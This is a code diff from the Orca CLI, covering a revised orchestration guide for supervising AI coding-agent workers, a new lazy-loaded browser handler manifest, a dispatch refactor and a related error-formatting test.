||||
Rules:
|
||||
|
||||
- Omit `--from` unless impersonating another terminal; Orca auto-resolves it from the current terminal.
|
||||
- `check` and `check --unread` return unread matches and mark them read. Use `--peek` for unread matches without consuming them; use `--all` for read and unread history without consuming anything. If an older CLI rejects `--peek` as an unknown flag, use `--all` and filter unread rows yourself.
|
||||
- Message **one** live agent handle per worker. Use `startupTerminal.handle` from the create response when present; if it is missing or later returns `terminal_handle_stale`, re-resolve with `orca terminal list --worktree ... --json` and continue with the replacement only.
|
||||
- `orca orchestration check --unread --inject --json` renders unread mail for the agent terminal that runs it; it does not remotely wake another terminal. Use `orchestration dispatch --inject` to deliver a tracked task, or `terminal send` when an existing agent needs a free-form prompt.
|
||||
- While supervising workers manually, use `check --wait --types worker_done,escalation,decision_gate --timeout-ms <n>` instead of sleep/poll loops. Reply to `decision_gate` messages with `orca orchestration reply --id <msg_id> --body <answer> --json`, then keep waiting.
|
||||
- A coordinator `check` returns the bound Run's oldest FIFO Delivery (up to 50 messages) and replays that exact batch until `--ack <delivery_id>`. Process every message before acknowledging; `check --ack <id> --wait` acknowledges, checks, and waits in one operation.
|
||||
- Use `--peek` and `--all` only for read-only history/debugging. Type filters decide when a waiter wakes; the returned actionable Delivery is still the oldest full batch.
|
||||
- Use `dispatch:<id>` for coordinator guidance to one supervised worker. Orca routes that stable address locally or through the connected-server relay; do not substitute a remote terminal handle.
|
||||
- Terminal handles remain appropriate for low-level pre-Dispatch messaging. Prefer `agentTerminalHandle` from the create response, fall back to `startupTerminal.handle` for older runtimes, then re-resolve with `orca terminal list --worktree ... --json` if missing or stale. Continue with the replacement handle only; never dual-send to old and new handles.
|
||||
- `orca orchestration check --peek --format --json` returns locally formatted unread mail without consuming it; it never writes to terminal input or remotely wakes another terminal. Use `orchestration dispatch --inject` to deliver a tracked task, or `terminal send` when an existing agent needs a free-form prompt.
|
||||
- While supervising workers manually, use `check --wait --types worker_done,escalation,question --timeout-ms <n>` instead of sleep/poll loops. Process the whole Delivery, reply to `question` messages with `orca orchestration reply --id <msg_id> --body <answer> --json`, then acknowledge and keep waiting.
|
||||
- Treat a `check --wait` timeout or `{count:0}` as a checkpoint, not a worker failure. Long coding tasks routinely run 15-60 minutes; keep using rolling waits unless you receive `worker_done`/`escalation`, the terminal exits or disappears, or the user explicitly asks you to stop.
|
||||
- Heartbeats and visible terminal activity mean the worker is alive, not done. Do not stop, close, kill, or restart a worker just because it has not produced a completion message yet.
|
||||
- Use `ask` when a worker needs a blocking answer from the coordinator; it waits for the reply and returns the answer directly.
|
||||
- `check --wait` returns one message at a time. If N workers may finish together, loop N times and dispatch newly ready tasks after each completion.
|
||||
- Use `ask` when a worker needs a blocking answer from the coordinator; it defaults to the active Dispatch's Run. Timeout or disconnect leaves the question pending, so resume by its original message ID instead of asking again.
|
||||
- `check --wait` returns one bounded Delivery, not every future completion. Process every message, acknowledge it, then keep waiting until every expected Dispatch settles.
|
||||
- Group addresses include `@all`, `@idle`, `@claude`, `@codex`, `@opencode`, `@gemini`, `@droid`, `@grok`, `@cursor`, and `@worktree:<id>`.
|
||||
- Message types include `status`, `dispatch`, `worker_done`, `merge_ready`, `escalation`, `handoff`, `decision_gate`, and `heartbeat`.
|
||||
- Message types include `status`, `dispatch`, `worker_done`, `merge_ready`, `escalation`, `handoff`, `question`, `decision_gate` (legacy/gates), and `heartbeat`.
|
||||
- Use group addresses only for messages that are genuinely useful to many terminals, such as `status` broadcasts or intentional fan-out questions. Do not send dispatch lifecycle messages to groups.
|
||||
- `worker_done` must target the concrete coordinator handle from the live preamble. It is completion authority for one dispatch; group fanout would create false lifecycle mail in unrelated terminals.
|
||||
- `worker_done` belongs to the active Dispatch and defaults to its Run mailbox; never target a group.
|
||||
- A valid `worker_done` for the active `taskId` + `dispatchId` marks the task and dispatch completed automatically. Do not follow it with `task-update --status completed`; reserve manual updates for explicit recovery or overrides.
|
||||
- `heartbeat` is also dispatch-scoped. Send it only to the concrete coordinator handle with both `taskId` and `dispatchId`; use `status` for broad progress updates.
|
||||
- `heartbeat` is also Dispatch-scoped. Include both IDs and omit `--to` so Orca uses the owning Run; use `status` for broad progress updates.
|
||||
|
||||
## Tasks And Dispatch
|
||||
|
||||
A task is the work item, a dispatch assigns it to a terminal, and a gate blocks progress until a coordinator or user decision is recorded.
|
||||
A Run is the namespace/inbox, a Task is the work item, and a Dispatch assigns one Task attempt to a terminal. Create or bind a Run once before the common loop.
|
||||
|
||||
```bash
|
||||
orca orchestration run-create --objective <text> --json
|
||||
orca orchestration task-create --spec <text> [--deps <json_array>] [--parent <task_id>] [--json]
|
||||
orca orchestration task-list [--status <status>] [--ready] [--brief] [--json]
|
||||
orca orchestration task-update --id <task_id> --status <status> [--result <json>] [--json]
|
||||
@@ -124,19 +153,97 @@ Dispatch rules:
|
||||
- After 3 consecutive failures on one task, the dispatch context circuit-breaks and the task is marked failed.
|
||||
- Use `task-list --brief --json` for coordinator sweeps; it collapses whitespace and caps each echoed spec at 160 characters (`spec_truncated` marks shortened rows). Omit `--brief` when the full spec is required, or when an older CLI rejects it as an unknown flag.
|
||||
|
||||
## Gates And Coordinator
|
||||
## Preferred Supervised Worker Loop
|
||||
|
||||
Use `worker-start` for the normal supervised path. It composes the existing worktree, terminal, readiness, and dispatch primitives while returning exact created/reused effects. Agents still choose placement and concurrency; Orca does not schedule workers or infer conflicts.
|
||||
|
||||
Create the Run and every independent Task first, then start all independent workers before waiting:
|
||||
|
||||
```bash
|
||||
orca orchestration run-create --objective "<objective>" --json
|
||||
orca orchestration task-create --spec "<worker A task>" --json
|
||||
orca orchestration task-create --spec "<worker B task>" --json
|
||||
orca orchestration worker-start --task <task_a> --worktree current --agent codex --json
|
||||
orca orchestration worker-start --task <task_b> --worktree current --agent claude --json
|
||||
```
|
||||
|
||||
`current` and exact existing worktrees create a fresh agent terminal and do not rerun setup. Reuse an existing agent only with `--terminal <handle>`.
|
||||
|
||||
For a new worktree, setup runs by default and agent-first creation reuses the returned startup agent terminal:
|
||||
|
||||
```bash
|
||||
orca orchestration worker-start --task <task_id> --worktree new-child --name <name> --agent codex --setup run --json
|
||||
# Independent/top-level:
|
||||
orca orchestration worker-start --task <task_id> --worktree new-top-level --name <name> --agent codex --setup run --json
|
||||
```
|
||||
|
||||
Setup normally starts alongside the agent. Only a repository explicitly configured with `wait-for-setup` delays agent launch until setup succeeds. Use `--setup skip` or `--setup inherit` only for a concrete reason.
|
||||
|
||||
Read the returned receipt before continuing: `ready` plus setup `running` is normal for start-immediately, while wait-for-setup returns setup `succeeded` before accepting task input. A failed or unknown start exits nonzero; inspect its `stage`, `effects`, and `residualResources` instead of guessing or automatically retrying. A wait-for-setup timeout can honestly leave setup `running`, which is not proof of failure.
|
||||
|
||||
To run the worker on another connected Orca server, add `--on <saved-environment>`. The Run and Tasks remain authoritative on the current server; later commands route by Dispatch ID, so never repeat `--on`:
|
||||
|
||||
```bash
|
||||
# Mac Run home -> Windows worker (the reverse is identical from a Windows Run home)
|
||||
orca orchestration worker-start --task <task_id> --on windows --worktree new-top-level --repo <exact_remote_repo_selector> --name <name> --agent codex --setup run --json
|
||||
orca orchestration worker-show --dispatch <dispatch_id> --json
|
||||
orca orchestration worker-read --dispatch <dispatch_id> --limit 50 --json
|
||||
orca orchestration send --to dispatch:<dispatch_id> --subject "Follow-up" --body "<attempt-specific guidance>" --json
|
||||
```
|
||||
|
||||
Remote `current` and `new-child` are intentionally invalid because those words are ambiguous across servers. Use an exact discovered remote worktree selector or `new-top-level` with an explicit remote repo selector.
|
||||
|
||||
The follow-up is structured inbox mail, not prompt injection. The worker's next
|
||||
`orchestration check` receives it even when the Dispatch is on another connected Orca server.
|
||||
|
||||
`worker-read` defaults to `--source auto`: Orca returns the exact hook-reported Codex, Claude, OpenClaude, or Grok transcript when it can prove the worker session, otherwise it returns bounded terminal output with `source: "terminal"` and a typed `fallbackReason`. Continue with the returned top-level `cursor`; it stays pinned to that exact source. If Orca reports `source_changed`, start a fresh read without the old cursor. Never supply or guess a provider session ID or transcript path.
|
||||
|
||||
Wait until every expected Dispatch settles, not for a fixed number of batches:
|
||||
|
||||
```bash
|
||||
orca orchestration check --wait --types worker_done,escalation,question --timeout-ms 900000 --json
|
||||
# Process every message in the returned Delivery, then atomically ack and continue:
|
||||
orca orchestration check --ack <delivery_id> --wait --types worker_done,escalation,question --timeout-ms 900000 --json
|
||||
```
|
||||
|
||||
Workers report exactly once using the IDs and capability injected by Orca; they do not supply Run/server/terminal identity:
|
||||
|
||||
```bash
|
||||
orca orchestration send --type worker_done --subject "<status>" --body "<what changed, findings, and what remains>" --task-id <task_id> --dispatch-id <dispatch_id> --outcome succeeded --files-modified "path/a,path/b" --json
|
||||
# On failure, use --outcome failed; never encode failure only in prose.
|
||||
```
|
||||
|
||||
A worker question defaults to its owning Run. Timeout leaves it pending:
|
||||
|
||||
```bash
|
||||
orca orchestration ask --question "<question>" --options "yes,no" --timeout-ms 600000 --json
|
||||
orca orchestration ask --resume <message_id> --timeout-ms 600000 --json
|
||||
# Coordinator:
|
||||
orca orchestration reply --id <message_id> --body "<answer>" --json
|
||||
```
|
||||
|
||||
Recovery is conditional, never a fixed destructive sequence:
|
||||
|
||||
- `worker-show --dispatch <id>` says `ready`: keep waiting or read bounded output.
|
||||
- It proves `failed` or `stopped`: start a replacement with `worker-start --task <task> --retry-of <id>` plus an explicit `--on`/`--worktree` and `--agent`/`--terminal` choice. Retry does not silently inherit placement.
|
||||
- It remains `outcome_unknown`: either `worker-stop --dispatch <id>` and inspect again, or explicitly `worker-abandon --dispatch <id>` while accepting that resources may still be live. Abandon performs no remote, process, or filesystem action.
|
||||
- `worker-stop` closes only the exact supervised agent terminal. It never deletes the worktree, setup terminal, configured tabs, or unrelated processes.
|
||||
|
||||
Low-level `worktree create`, `terminal create`, and `dispatch --inject` remain valid recipes for custom argv or topology that `worker-start` does not express.
|
||||
|
||||
## Gates And Legacy Inspection
|
||||
|
||||
```bash
|
||||
orca orchestration gate-create --task <task_id> --question <text> [--options <json_array>] [--json]
|
||||
orca orchestration gate-resolve --id <gate_id> --resolution <text> [--json]
|
||||
orca orchestration gate-list [--task <task_id>] [--status <status>] [--json]
|
||||
orca orchestration run --spec <text> [--from <handle>] [--poll-interval-ms <n>] [--max-concurrent <n>] [--worktree <selector>] [--json]
|
||||
orca orchestration run-stop [--json]
|
||||
```
|
||||
|
||||
`run` returns immediately with a run ID. Query progress with `task-list`. Use `ask` for worker-to-coordinator questions; it creates a `decision_gate` message that the coordinator answers with `reply`. Use `gate-create` only for coordinator-managed task DAG decisions, not for answering a worker's `ask`.
|
||||
Use `ask` for worker-to-coordinator questions; it creates a `question` message that the coordinator answers with `reply`. Use `gate-create` only for coordinator-managed task DAG decisions, not for answering a worker's `ask`.
|
||||
|
||||
Recovery only: `orca orchestration reset --tasks|--messages|--all --json` clears runtime-global orchestration state. Do not run it during active coordination unless explicitly abandoning that state.
|
||||
`coordinator-start`, `coordinator-stop`, `run`, and `run-stop` are retired scheduler commands. They perform no effects and return the current-skill recovery action. They are not aliases for lightweight Run creation or binding.
|
||||
|
||||
Recovery only: `orca orchestration reset --tasks|--messages|--all --json` clears the selected local orchestration database state. Do not run it during active coordination unless explicitly abandoning that state.
|
||||
|
||||
## Full Handoffs
|
||||
|
||||
@@ -151,7 +258,7 @@ Do not run `orca orchestration task-create`, `orca orchestration dispatch --inje
|
||||
New top-level worktree handoff:
|
||||
|
||||
```bash
|
||||
orca worktree create --name <task-name> --no-parent --agent codex --prompt "<task brief>" --json
|
||||
orca worktree create --name <task-name> --no-parent --agent codex --prompt "<task brief>" --setup run --json
|
||||
```
|
||||
|
||||
Before creating a new worktree from an active feature branch, decide and state whether the desired Orca lineage is child or top-level. Use child worktree lineage only when the new work is conceptually stacked under or dependent on the active worktree. For independent repo-wide fixes, standalone feature work, or unrelated follow-up tasks, create a top-level worktree with `--no-parent`.
|
||||
@@ -166,12 +273,14 @@ Custom Codex model/effort handoff:
|
||||
|
||||
`orca worktree create --agent codex --prompt ...` launches the known Codex agent but does not accept Codex-specific `--model` or `-c model_reasoning_effort=...` arguments. When the user asks for a specific Codex model or effort, create the independent worktree first, launch Codex with the requested command in that worktree, wait only for TUI readiness if prompt delivery would otherwise race startup, send the prompt, and stop.
|
||||
|
||||
The two-step custom-argv path cannot enforce a repository's explicit `wait-for-setup` startup policy because the later `terminal create` is not the startup owned by `worktree create`. Use it only when the repository starts agents immediately. If the repository requires `wait-for-setup`, use an agent-first configured launcher that can preserve sequencing, or stop and ask rather than silently bypassing the policy.
|
||||
|
||||
Note: when no repo default-terminal configuration supplies a primary terminal, bare create opens a fallback shell before `terminal create` adds the agent. Configured default tabs are materialized instead and may run real commands. Prefer `--agent` whenever custom argv is not required. With the two-step path, target only the agent handle; close a prior terminal only after `terminal list` or `terminal show` confirms it is an unused shell.
|
||||
|
||||
Use the exact full `<repo-id>::<path>` worktree id returned by `orca worktree create --json`; a bare repo id cannot target the new worktree.
|
||||
|
||||
```bash
|
||||
orca worktree create --name <task-name> --no-parent --json
|
||||
orca worktree create --name <task-name> --no-parent --setup run --json
|
||||
orca terminal create --worktree id:<newFullWorktreeId> --title <task-name> --command 'codex --model gpt-5.5 -c model_reasoning_effort="xhigh"' --json
|
||||
orca terminal wait --terminal <handle> --for tui-idle --timeout-ms 60000 --json
|
||||
orca terminal send --terminal <handle> --text "<task brief>" --enter --json
|
||||
@@ -195,17 +304,19 @@ Reuse an idle agent in the required worktree only if the prompt allows reuse; ot
|
||||
|
||||
When a new worktree is allowed, use child lineage for isolated work that is stacked under or dependent on the active worktree, and use `--no-parent` when it is not stacked. Decide the Git base separately: `--no-parent` makes the worktree top-level in Orca, while omitted `--base-branch` uses the repo default base.
|
||||
|
||||
For every new worktree, pass `--setup run` so any configured repository setup hook runs. This does not mean waiting for setup before agent launch: preserve the repository's startup policy, whose default starts setup and the agent side by side. Use `--setup skip` or `--setup inherit` only when there is a concrete task-specific reason, and state that reason before creating the worktree. This rule does not rerun setup for current or existing worktrees.
|
||||
|
||||
```bash
|
||||
orca worktree create --name <task-name> --agent codex --json
|
||||
orca worktree create --name <task-name> --agent codex --setup run --json
|
||||
# or: --agent claude | omp | pi | grok | ...
|
||||
# Read <handle> from startupTerminal.handle in the create response.
|
||||
# Read <handle> from agentTerminalHandle, falling back to startupTerminal.handle.
|
||||
orca terminal wait --terminal <handle> --for tui-idle --timeout-ms 60000 --json
|
||||
orca orchestration dispatch --task <task_id> --to <handle> --inject --json
|
||||
```
|
||||
|
||||
For new-worktree workers, read the id and `startupTerminal.handle` from `worktree create`. Use that as the sole worker handle when present; otherwise use `terminal list` to resolve the agent handle. Omit `--repo` only inside an Orca-managed worktree; otherwise pass `--repo <selector>`.
|
||||
For new-worktree workers, read the id and `agentTerminalHandle` from `worktree create`, falling back to `startupTerminal.handle` for older runtimes. Use that as the sole worker handle when present; otherwise use `terminal list` to resolve the agent handle. Omit `--repo` only inside an Orca-managed worktree; otherwise pass `--repo <selector>`.
|
||||
|
||||
**For an allowed new worktree, use agent-first:** `--agent` reveals the new worktree and launches the selected agent **in its first terminal**, without adding a separate fallback shell for that worker. Repo setup or default-terminal settings may still add tabs or splits. Do **not** run bare `worktree create` and then `terminal create --command <agent>` for the same worker when agent-first create is available: without configured default tabs, that two-step path leaves a fallback shell + agent pair. Only use it when custom agent argv is required (for example Codex model/effort flags) or when an older CLI rejects `--agent`; if you must, message only the agent handle. Configured default tabs are intentional surfaces, so close a prior terminal only after `terminal list` or `terminal show` confirms it is an unused shell. Do not run `worktree create` when the task must stay in the current worktree.
|
||||
**For an allowed new worktree, use agent-first:** `--agent` reveals the new worktree and launches the selected agent **in its first terminal**, without adding a separate fallback shell for that worker. Pass `--setup run`; repo setup and default-terminal settings may add intentional tabs or splits. Do **not** run bare `worktree create` and then `terminal create --command <agent>` for the same worker when agent-first create is available: without configured default tabs, that two-step path leaves a fallback shell + agent pair. Only use it when custom agent argv is required (for example Codex model/effort flags) or when an older CLI rejects `--agent`; if you must, message only the agent handle. Configured default tabs are intentional surfaces, so close a prior terminal only after `terminal list` or `terminal show` confirms it is an unused shell. Do not run `worktree create` when the task must stay in the current worktree.
|
||||
|
||||
Use `orca worktree create --prompt ...` or `orca terminal send ...` for full handoffs or untracked/lightweight prompts. Those paths do not attach `taskId`/`dispatchId`; the worker should not send lifecycle messages unless the prompt supplies a live orchestration preamble.
|
||||
|
||||
@@ -228,11 +339,12 @@ Wait for `tui-idle` before dispatching. Always pass `--timeout-ms`; real coding
|
||||
|
||||
## Agent Guidance
|
||||
|
||||
- Workers with a valid live preamble must send `worker_done` exactly once from their own terminal, even on failure:
|
||||
`orca orchestration send --to <coordinator_handle> --type worker_done --subject "<short status>" --body "<3-sentence summary: what you did, what you found, what's left>" --payload '{"taskId":"<task_id>","dispatchId":"<dispatch_id>","filesModified":["path/a"],"reportPath":"<optional>"}' --json`
|
||||
- Workers with a valid live preamble must send `worker_done` exactly once from their own terminal with an explicit `--outcome succeeded` or `--outcome failed`:
|
||||
`orca orchestration send --type worker_done --subject "<short status>" --body "<3-sentence summary: what you did, what you found, what's left>" --task-id <task_id> --dispatch-id <dispatch_id> --outcome succeeded --files-modified "path/a" --report-path "<optional>" --json`
|
||||
- A failed outcome is still a terminal report, but Orca records both the Dispatch and Task as failed. Never encode failure only in the subject/body.
|
||||
- After sending `worker_done`, end your turn and idle at the agent prompt. Do not poll or keep calling `orca orchestration check`; the coordinator re-engages you with a fresh preamble + TASK block delivered as new terminal input.
|
||||
- For long tasks, send heartbeat/status only when the preamble asks for it, including both IDs:
|
||||
`orca orchestration send --to <coordinator_handle> --type heartbeat --subject "alive" --payload '{"taskId":"<task_id>","dispatchId":"<dispatch_id>","phase":"implementing"}' --json`
|
||||
`orca orchestration send --type heartbeat --subject "alive" --payload '{"taskId":"<task_id>","dispatchId":"<dispatch_id>","phase":"implementing"}' --json`
|
||||
- If blocked before completion, use `ask`; use `escalation` only when ownership is valid and the coordinator must intervene.
|
||||
- Treat preambles inherited through terminal history or full handoffs as stale unless the current prompt explicitly keeps that coordinator in the loop.
|
||||
- Coordinators should use `task-list --ready` as external memory, dispatch parallel waves, and avoid dependency chains deeper than 3-4 steps.
|
||||
@@ -244,11 +356,11 @@ orca terminal create --worktree active --title login-css-worker --command "claud
|
||||
orca terminal wait --terminal <handle> --for tui-idle --timeout-ms 60000 --json
|
||||
orca orchestration task-create --spec "Fix the login button CSS" --json
|
||||
orca orchestration dispatch --task <task_id> --to <handle> --inject --json
|
||||
orca orchestration check --wait --types worker_done,escalation,decision_gate --timeout-ms 900000 --json
|
||||
orca orchestration check --wait --types worker_done,escalation,question --timeout-ms 900000 --json
|
||||
```
|
||||
|
||||
## Next Action
|
||||
|
||||
Coordinator: confirm `orca status --json`, inspect `task-list`/`dispatch-show` if inheriting state, then choose either a manual loop (`task-create` -> worker -> `dispatch --inject` -> `check --wait`) or `orchestration run`.
|
||||
Coordinator: confirm `orca status --json`, create or bind a Run, inspect `task-list`/`dispatch-show` if inheriting state, then use the explicit supervised loop (`task-create` -> `worker-start` -> `check --wait`). Use low-level terminal creation plus `dispatch --inject` only when the composed start does not express the needed topology.
|
||||
|
||||
Worker: if the current prompt contains a live dispatch preamble, do the task, use `ask` for blocking questions, and send `worker_done` once with the required payload. If the preamble is stale or absent, do not send lifecycle messages; inspect state or treat the prompt as an ordinary handoff.
|
||||
|
||||
@@ -0,0 +1,119 @@
|
||||
import type { HandlerGroup } from './handler-group-manifest'
|
||||
|
||||
// Why split out: the browser command surface is a third of the CLI's groups and
|
||||
// changes as a unit, so it keeps handler-group-manifest.ts readable at a glance.
|
||||
export const BROWSER_HANDLER_GROUPS: readonly HandlerGroup[] = [
|
||||
{
|
||||
name: 'browser-nav',
|
||||
keys: [
|
||||
'snapshot',
|
||||
'screenshot',
|
||||
'goto',
|
||||
'back',
|
||||
'reload',
|
||||
'forward',
|
||||
'eval',
|
||||
'scroll',
|
||||
'wait',
|
||||
'pdf',
|
||||
'full-screenshot'
|
||||
],
|
||||
load: async () => (await import('./handlers/browser-nav.js')).BROWSER_NAV_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'browser-interact',
|
||||
keys: [
|
||||
'click',
|
||||
'dblclick',
|
||||
'fill',
|
||||
'type',
|
||||
'select',
|
||||
'check',
|
||||
'uncheck',
|
||||
'focus',
|
||||
'clear',
|
||||
'select-all',
|
||||
'keypress',
|
||||
'hover',
|
||||
'drag',
|
||||
'upload',
|
||||
'scrollintoview',
|
||||
'get',
|
||||
'is',
|
||||
'inserttext',
|
||||
'mouse move',
|
||||
'mouse down',
|
||||
'mouse up',
|
||||
'mouse wheel',
|
||||
'find',
|
||||
'download',
|
||||
'highlight'
|
||||
],
|
||||
load: async () => (await import('./handlers/browser-interact.js')).BROWSER_INTERACT_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'browser-tab',
|
||||
keys: ['tab list', 'tab show', 'tab current', 'tab switch', 'tab create', 'tab close', 'exec'],
|
||||
load: async () => (await import('./handlers/browser-tab.js')).BROWSER_TAB_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'browser-profile',
|
||||
keys: [
|
||||
'tab profile list',
|
||||
'tab profile create',
|
||||
'tab profile delete',
|
||||
'tab profile set',
|
||||
'tab profile show',
|
||||
'tab profile use-default',
|
||||
'tab profile clone'
|
||||
],
|
||||
load: async () => (await import('./handlers/browser-profile.js')).BROWSER_PROFILE_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'browser-cookie',
|
||||
keys: ['cookie get', 'cookie set', 'cookie delete'],
|
||||
load: async () => (await import('./handlers/browser-cookie.js')).BROWSER_COOKIE_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'browser-capture',
|
||||
keys: [
|
||||
'intercept enable',
|
||||
'intercept disable',
|
||||
'intercept list',
|
||||
'capture start',
|
||||
'capture stop',
|
||||
'console',
|
||||
'network'
|
||||
],
|
||||
load: async () => (await import('./handlers/browser-capture.js')).BROWSER_CAPTURE_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'browser-env',
|
||||
keys: [
|
||||
'viewport',
|
||||
'geolocation',
|
||||
'set device',
|
||||
'set offline',
|
||||
'set headers',
|
||||
'set credentials',
|
||||
'set media',
|
||||
'clipboard read',
|
||||
'clipboard write',
|
||||
'dialog accept',
|
||||
'dialog dismiss'
|
||||
],
|
||||
load: async () => (await import('./handlers/browser-env.js')).BROWSER_ENV_HANDLERS
|
||||
},
|
||||
{
|
||||
name: 'browser-storage',
|
||||
keys: [
|
||||
'storage local get',
|
||||
'storage local set',
|
||||
'storage local clear',
|
||||
'storage session get',
|
||||
'storage session set',
|
||||
'storage session clear'
|
||||
],
|
||||
load: async () => (await import('./handlers/browser-storage.js')).BROWSER_STORAGE_HANDLERS
|
||||
}
|
||||
]
|
||||
File diff suppressed because one or more lines are too long
+28
-62
@@ -1,30 +1,6 @@
|
||||
import type { RuntimeClient } from './runtime-client'
|
||||
import { RuntimeClientError } from './runtime-client'
|
||||
import { CORE_HANDLERS } from './handlers/core'
|
||||
import { AUTOMATION_HANDLERS } from './handlers/automations'
|
||||
import { PROJECT_HANDLERS } from './handlers/project'
|
||||
import { REPO_HANDLERS } from './handlers/repo'
|
||||
import { WORKTREE_HANDLERS } from './handlers/worktree'
|
||||
import { FILE_HANDLERS } from './handlers/file'
|
||||
import { TERMINAL_HANDLERS } from './handlers/terminal'
|
||||
import { BROWSER_NAV_HANDLERS } from './handlers/browser-nav'
|
||||
import { BROWSER_INTERACT_HANDLERS } from './handlers/browser-interact'
|
||||
import { BROWSER_TAB_HANDLERS } from './handlers/browser-tab'
|
||||
import { BROWSER_PROFILE_HANDLERS } from './handlers/browser-profile'
|
||||
import { BROWSER_COOKIE_HANDLERS } from './handlers/browser-cookie'
|
||||
import { BROWSER_CAPTURE_HANDLERS } from './handlers/browser-capture'
|
||||
import { BROWSER_ENV_HANDLERS } from './handlers/browser-env'
|
||||
import { BROWSER_STORAGE_HANDLERS } from './handlers/browser-storage'
|
||||
import { ORCHESTRATION_HANDLERS } from './handlers/orchestration'
|
||||
import { COMPUTER_HANDLERS } from './handlers/computer'
|
||||
import { ENVIRONMENT_HANDLERS } from './handlers/environment'
|
||||
import { AGENT_HOOK_HANDLERS } from './handlers/agent-hooks'
|
||||
import { DIAGNOSTICS_HANDLERS } from './handlers/diagnostics'
|
||||
import { INTROSPECTION_HANDLERS } from './handlers/introspection'
|
||||
import { EMULATOR_HANDLERS } from './handlers/emulator'
|
||||
import { LINEAR_HANDLERS } from './handlers/linear'
|
||||
import { VM_HANDLERS } from './handlers/vm'
|
||||
import { SKILL_HANDLERS } from './handlers/skills'
|
||||
import { HANDLER_GROUPS, type HandlerGroup } from './handler-group-manifest'
|
||||
|
||||
export type HandlerContext = {
|
||||
flags: Map<string, string | boolean>
|
||||
@@ -36,56 +12,46 @@ export type HandlerContext = {
|
||||
|
||||
export type CommandHandler = (ctx: HandlerContext) => Promise<void>
|
||||
|
||||
function buildHandlers(): Map<string, CommandHandler> {
|
||||
const table = new Map<string, CommandHandler>()
|
||||
const groups = [
|
||||
CORE_HANDLERS,
|
||||
AUTOMATION_HANDLERS,
|
||||
PROJECT_HANDLERS,
|
||||
REPO_HANDLERS,
|
||||
WORKTREE_HANDLERS,
|
||||
FILE_HANDLERS,
|
||||
TERMINAL_HANDLERS,
|
||||
BROWSER_NAV_HANDLERS,
|
||||
BROWSER_INTERACT_HANDLERS,
|
||||
BROWSER_TAB_HANDLERS,
|
||||
BROWSER_PROFILE_HANDLERS,
|
||||
BROWSER_COOKIE_HANDLERS,
|
||||
BROWSER_CAPTURE_HANDLERS,
|
||||
BROWSER_ENV_HANDLERS,
|
||||
BROWSER_STORAGE_HANDLERS,
|
||||
ORCHESTRATION_HANDLERS,
|
||||
EMULATOR_HANDLERS,
|
||||
COMPUTER_HANDLERS,
|
||||
AGENT_HOOK_HANDLERS,
|
||||
DIAGNOSTICS_HANDLERS,
|
||||
INTROSPECTION_HANDLERS,
|
||||
ENVIRONMENT_HANDLERS,
|
||||
LINEAR_HANDLERS,
|
||||
VM_HANDLERS,
|
||||
SKILL_HANDLERS
|
||||
]
|
||||
// Why: routing only needs key→group, so every CLI invocation can skip the
|
||||
// transitive module graph of the 24 groups it does not dispatch into.
|
||||
function buildRoutes(groups: readonly HandlerGroup[]): Map<string, HandlerGroup> {
|
||||
const table = new Map<string, HandlerGroup>()
|
||||
for (const group of groups) {
|
||||
for (const [key, handler] of Object.entries(group)) {
|
||||
if (table.has(key)) {
|
||||
throw new Error(`Duplicate CLI handler registration for "${key}"`)
|
||||
for (const key of group.keys) {
|
||||
const owner = table.get(key)
|
||||
if (owner) {
|
||||
throw new Error(
|
||||
`Duplicate CLI handler registration for "${key}" (${owner.name} and ${group.name})`
|
||||
)
|
||||
}
|
||||
table.set(key, handler)
|
||||
table.set(key, group)
|
||||
}
|
||||
}
|
||||
return table
|
||||
}
|
||||
|
||||
const HANDLERS = buildHandlers()
|
||||
const ROUTES = buildRoutes(HANDLER_GROUPS)
|
||||
|
||||
// Why: exposes only the canonical command keys (not the handler internals) so the
|
||||
// registry-parity guard can check specs↔handlers without rebuilding the table.
|
||||
export const HANDLER_COMMAND_KEYS: ReadonlySet<string> = new Set(HANDLERS.keys())
|
||||
export const HANDLER_COMMAND_KEYS: ReadonlySet<string> = new Set(ROUTES.keys())
|
||||
|
||||
export async function dispatch(commandPath: string[], ctx: HandlerContext): Promise<void> {
|
||||
const handler = HANDLERS.get(commandPath.join(' '))
|
||||
const key = commandPath.join(' ')
|
||||
const group = ROUTES.get(key)
|
||||
if (!group) {
|
||||
throw new RuntimeClientError('invalid_argument', `Unknown command: ${key}`)
|
||||
}
|
||||
const handler = (await group.load())[key]
|
||||
// Why: the manifest key list is verified against the real exports in CI, so a
|
||||
// miss here means the group changed without the manifest — fail loudly.
|
||||
if (!handler) {
|
||||
throw new RuntimeClientError('invalid_argument', `Unknown command: ${commandPath.join(' ')}`)
|
||||
throw new RuntimeClientError(
|
||||
'invalid_argument',
|
||||
`CLI handler group "${group.name}" does not export "${key}"`
|
||||
)
|
||||
}
|
||||
await handler(ctx)
|
||||
}
|
||||
|
||||
export { buildRoutes as buildHandlerRoutes }
|
||||
|
||||
+34
-1
@@ -12,7 +12,8 @@ import {
|
||||
formatTerminalList,
|
||||
formatTerminalRead,
|
||||
formatWorktreeList,
|
||||
printResult
|
||||
printResult,
|
||||
reportCliError
|
||||
} from './format'
|
||||
import type { ComputerActionResult, RuntimeWorktreeRecord } from '../shared/runtime-types'
|
||||
import type { Automation } from '../shared/automations-types'
|
||||
@@ -116,6 +117,38 @@ describe('formatCliError', () => {
|
||||
].join('\n')
|
||||
)
|
||||
})
|
||||
|
||||
it('preserves orchestration migration recovery in human and JSON errors', () => {
|
||||
const error = new RuntimeRpcFailureError({
|
||||
id: 'req_migration',
|
||||
ok: false,
|
||||
error: {
|
||||
code: 'orchestration_migration_required',
|
||||
message: 'No effects were applied.',
|
||||
data: {
|
||||
effectsApplied: false,
|
||||
nextCommandArgs: ['skills', 'get', 'orchestration', '--full'],
|
||||
nextSteps: ['Using this same Orca CLI executable, run: skills get orchestration --full']
|
||||
}
|
||||
},
|
||||
_meta: { runtimeId: 'runtime-1' }
|
||||
})
|
||||
|
||||
expect(formatCliError(error)).toContain(
|
||||
'Next step: Using this same Orca CLI executable, run: skills get orchestration --full'
|
||||
)
|
||||
const log = vi.spyOn(console, 'log').mockImplementation(() => {})
|
||||
reportCliError(error, true)
|
||||
expect(JSON.parse(String(log.mock.calls[0]?.[0]))).toMatchObject({
|
||||
error: {
|
||||
code: 'orchestration_migration_required',
|
||||
